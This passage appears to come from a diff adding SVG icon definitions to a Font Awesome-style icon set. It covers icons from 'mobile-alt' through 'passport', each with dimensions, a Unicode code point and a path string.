48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "mobile-alt": [ 320, 512, [], "f3cd", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z" ], + "money-bill": [ 640, 512, [], "f0d6", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z" ], + "money-bill-alt": [ 640, 512, [], "f3d1", "M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z" ], + "money-bill-wave": [ 640, 512, [], "f53a", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z" ], + "money-bill-wave-alt": [ 640, 512, [], "f53b", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z" ], + "money-check": [ 640, 512, [], "f53c", "M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z" ], + "money-check-alt": [ 640, 512, [], "f53d", "M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z" ], + monument: [ 384, 512, [], "f5a6", "M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z" ], + moon: [ 512, 512, [], "f186", "M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z" ], + "mortar-pestle": [ 512, 512, [], "f5a7", "M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + mosque: [ 640, 512, [], "f678", "M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z" ], + motorcycle: [ 640, 512, [], "f21c", "M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z" ], + mountain: [ 640, 512, [], "f6fc", "M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z" ], + mouse: [ 384, 512, [], "f8cc", "M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z" ], + "mouse-pointer": [ 320, 512, [], "f245", "M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z" ], + "mug-hot": [ 512, 512, [], "f7b6", "M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z" ], + music: [ 512, 512, [], "f001", "M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z" ], + "network-wired": [ 640, 512, [], "f6ff", "M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z" ], + neuter: [ 288, 512, [], "f22c", "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + newspaper: [ 576, 512, [], "f1ea", "M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 48-48V88c0-13.255-10.745-24-24-24zM56 400a8 8 0 0 1-8-8V144h16v248a8 8 0 0 1-8 8zm236-16H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm-208-96H140c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm208 0H348c-6.627 0-12-5.373-12-12v-8c0-6.627 5.373-12 12-12h152c6.627 0 12 5.373 12 12v8c0 6.627-5.373 12-12 12zm0-96H140c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h360c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12z" ], + "not-equal": [ 448, 512, [], "f53e", "M416 208c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32h-23.88l51.87-66.81c5.37-7.02 4.04-17.06-2.97-22.43L415.61 3.3c-7.02-5.38-17.06-4.04-22.44 2.97L311.09 112H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h204.56l-74.53 96H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h55.49l-51.87 66.81c-5.37 7.01-4.04 17.05 2.97 22.43L64 508.7c7.02 5.38 17.06 4.04 22.43-2.97L168.52 400H416c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32H243.05l74.53-96H416z" ], + "notes-medical": [ 384, 512, [], "f481", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm96 304c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm0-192c0 4.4-3.6 8-8 8H104c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16z" ], + "object-group": [ 512, 512, [], "f247", "M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z" ], + "object-ungroup": [ 576, 512, [], "f248", "M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z" ], + "oil-can": [ 640, 512, [], "f613", "M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z" ], + om: [ 512, 512, [], "f679", "M360.6 60.94a10.43 10.43 0 0 0 14.76 0l21.57-21.56a10.43 10.43 0 0 0 0-14.76L375.35 3.06c-4.08-4.07-10.68-4.07-14.76 0l-21.57 21.56a10.43 10.43 0 0 0 0 14.76l21.58 21.56zM412.11 192c-26.69 0-51.77 10.39-70.64 29.25l-24.25 24.25c-6.78 6.77-15.78 10.5-25.38 10.5H245c10.54-22.1 14.17-48.11 7.73-75.23-10.1-42.55-46.36-76.11-89.52-83.19-36.15-5.93-70.9 5.04-96.01 28.78-7.36 6.96-6.97 18.85 1.12 24.93l26.15 19.63c5.72 4.3 13.66 4.32 19.2-.21 8.45-6.9 19.02-10.71 30.27-10.71 26.47 0 48.01 21.53 48.01 48s-21.54 48-48.01 48h-31.9c-11.96 0-19.74 12.58-14.39 23.28l16.09 32.17c2.53 5.06 7.6 8.1 13.17 8.55h33.03c35.3 0 64.01 28.7 64.01 64s-28.71 64-64.01 64c-96.02 0-122.35-54.02-145.15-92.03-4.53-7.55-14.77-3.58-14.79 5.22C-.09 416 41.13 512 159.94 512c70.59 0 128.02-57.42 128.02-128 0-23.42-6.78-45.1-17.81-64h21.69c26.69 0 51.77-10.39 70.64-29.25l24.25-24.25c6.78-6.77 15.78-10.5 25.38-10.5 19.78 0 35.88 16.09 35.88 35.88V392c0 13.23-18.77 24-32.01 24-39.4 0-66.67-24.24-81.82-42.89-4.77-5.87-14.2-2.54-14.2 5.02V416s0 64 96.02 64c48.54 0 96.02-39.47 96.02-88V291.88c0-55.08-44.8-99.88-99.89-99.88zm42.18-124.73c-85.55 65.12-169.05 2.75-172.58.05-6.02-4.62-14.44-4.38-20.14.55-5.74 4.92-7.27 13.17-3.66 19.8 1.61 2.95 40.37 72.34 118.8 72.34 79.92 0 98.78-31.36 101.75-37.66 1.02-2.12 1.53-4.47 1.53-6.83V80c0-13.22-15.14-20.69-25.7-12.73z" ], + otter: [ 640, 512, [], "f700", "M608 32h-32l-13.25-13.25A63.97 63.97 0 0 0 517.49 0H497c-11.14 0-22.08 2.91-31.75 8.43L312 96h-56C149.96 96 64 181.96 64 288v1.61c0 32.75-16 62.14-39.56 84.89-18.19 17.58-28.1 43.68-23.19 71.8 6.76 38.8 42.9 65.7 82.28 65.7H192c17.67 0 32-14.33 32-32s-14.33-32-32-32H80c-8.83 0-16-7.17-16-16s7.17-16 16-16h224c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-64l149.49-80.5L448 416h80c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-28.22l-55.11-110.21L521.14 192H544c53.02 0 96-42.98 96-96V64c0-17.67-14.33-32-32-32zm-96 16c8.84 0 16 7.16 16 16s-7.16 16-16 16-16-7.16-16-16 7.16-16 16-16zm32 96h-34.96L407.2 198.84l-13.77-27.55L512 112h77.05c-6.62 18.58-24.22 32-45.05 32z" ], + outdent: [ 448, 512, [], "f03b", "M100.69 363.29c10 10 27.31 2.93 27.31-11.31V160c0-14.32-17.33-21.31-27.31-11.31l-96 96a16 16 0 0 0 0 22.62zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + pager: [ 512, 512, [], "f815", "M448 64H64a64 64 0 0 0-64 64v256a64 64 0 0 0 64 64h384a64 64 0 0 0 64-64V128a64 64 0 0 0-64-64zM160 368H80a16 16 0 0 1-16-16v-16a16 16 0 0 1 16-16h80zm128-16a16 16 0 0 1-16 16h-80v-48h80a16 16 0 0 1 16 16zm160-128a32 32 0 0 1-32 32H96a32 32 0 0 1-32-32v-64a32 32 0 0 1 32-32h320a32 32 0 0 1 32 32z" ], + "paint-brush": [ 512, 512, [], "f1fc", "M167.02 309.34c-40.12 2.58-76.53 17.86-97.19 72.3-2.35 6.21-8 9.98-14.59 9.98-11.11 0-45.46-27.67-55.25-34.35C0 439.62 37.93 512 128 512c75.86 0 128-43.77 128-120.19 0-3.11-.65-6.08-.97-9.13l-88.01-73.34zM457.89 0c-15.16 0-29.37 6.71-40.21 16.45C213.27 199.05 192 203.34 192 257.09c0 13.7 3.25 26.76 8.73 38.7l63.82 53.18c7.21 1.8 14.64 3.03 22.39 3.03 62.11 0 98.11-45.47 211.16-256.46 7.38-14.35 13.9-29.85 13.9-45.99C512 20.64 486 0 457.89 0z" ], + "paint-roller": [ 512, 512, [], "f5aa", "M416 128V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32zm32-64v128c0 17.67-14.33 32-32 32H256c-35.35 0-64 28.65-64 64v32c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32v-32h160c53.02 0 96-42.98 96-96v-64c0-35.35-28.65-64-64-64z" ], + palette: [ 512, 512, [], "f53f", "M204.3 5C104.9 24.4 24.8 104.3 5.2 203.4c-37 187 131.7 326.4 258.8 306.7 41.2-6.4 61.4-54.6 42.5-91.7-23.1-45.4 9.9-98.4 60.9-98.4h79.7c35.8 0 64.8-29.6 64.9-65.3C511.5 97.1 368.1-26.9 204.3 5zM96 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128-64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + pallet: [ 640, 512, [], "f482", "M144 256h352c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H384v128l-64-32-64 32V0H144c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16zm480 128c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v64H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16h-48v-64h48zm-336 64H128v-64h160v64zm224 0H352v-64h160v64z" ], + "paper-plane": [ 512, 512, [], "f1d8", "M476 3.2L12.5 270.6c-18.1 10.4-15.8 35.6 2.2 43.2L121 358.4l287.3-253.2c5.5-4.9 13.3 2.6 8.6 8.3L176 407v80.5c0 23.6 28.5 32.9 42.5 15.8L282 426l124.6 52.2c14.2 6 30.4-2.9 33-18.2l72-432C515 7.8 493.3-6.8 476 3.2z" ], + paperclip: [ 448, 512, [], "f0c6", "M43.246 466.142c-58.43-60.289-57.341-157.511 1.386-217.581L254.392 34c44.316-45.332 116.351-45.336 160.671 0 43.89 44.894 43.943 117.329 0 162.276L232.214 383.128c-29.855 30.537-78.633 30.111-107.982-.998-28.275-29.97-27.368-77.473 1.452-106.953l143.743-146.835c6.182-6.314 16.312-6.422 22.626-.241l22.861 22.379c6.315 6.182 6.422 16.312.241 22.626L171.427 319.927c-4.932 5.045-5.236 13.428-.648 18.292 4.372 4.634 11.245 4.711 15.688.165l182.849-186.851c19.613-20.062 19.613-52.725-.011-72.798-19.189-19.627-49.957-19.637-69.154 0L90.39 293.295c-34.763 35.56-35.299 93.12-1.191 128.313 34.01 35.093 88.985 35.137 123.058.286l172.06-175.999c6.177-6.319 16.307-6.433 22.626-.256l22.877 22.364c6.319 6.177 6.434 16.307.256 22.626l-172.06 175.998c-59.576 60.938-155.943 60.216-214.77-.485z" ], + "parachute-box": [ 512, 512, [], "f4cd", "M511.9 175c-9.1-75.6-78.4-132.4-158.3-158.7C390 55.7 416 116.9 416 192h28.1L327.5 321.5c-2.5-.6-4.8-1.5-7.5-1.5h-48V192h112C384 76.8 315.1 0 256 0S128 76.8 128 192h112v128h-48c-2.7 0-5 .9-7.5 1.5L67.9 192H96c0-75.1 26-136.3 62.4-175.7C78.5 42.7 9.2 99.5.1 175c-1.1 9.1 6.8 17 16 17h8.7l136.7 151.9c-.7 2.6-1.6 5.2-1.6 8.1v128c0 17.7 14.3 32 32 32h128c17.7 0 32-14.3 32-32V352c0-2.9-.9-5.4-1.6-8.1L487.1 192h8.7c9.3 0 17.2-7.8 16.1-17z" ], + paragraph: [ 448, 512, [], "f1dd", "M448 48v32a16 16 0 0 1-16 16h-48v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V96h-32v368a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V352h-32a160 160 0 0 1 0-320h240a16 16 0 0 1 16 16z" ], + parking: [ 448, 512, [], "f540", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM240 320h-48v48c0 8.8-7.2 16-16 16h-32c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h96c52.9 0 96 43.1 96 96s-43.1 96-96 96zm0-128h-48v64h48c17.6 0 32-14.4 32-32s-14.4-32-32-32z" ], + passport: [ 448, 512, [], "f5ab", "M129.62 176h39.09c1.49-27.03 6.54-51.35 14.21-70.41-27.71 13.24-48.02 39.19-53.3 70.41zm0 32c5.29 31.22 25.59 57.17 53.3 70.41-7.68-19.06-12.72-43.38-14.21-70.41h-39.09zM224 286.69c7.69-7.45 20.77-34.42 23.43-78.69h-46.87c2.67 44.26 15.75 71.24 23.44 78.69zM200.57 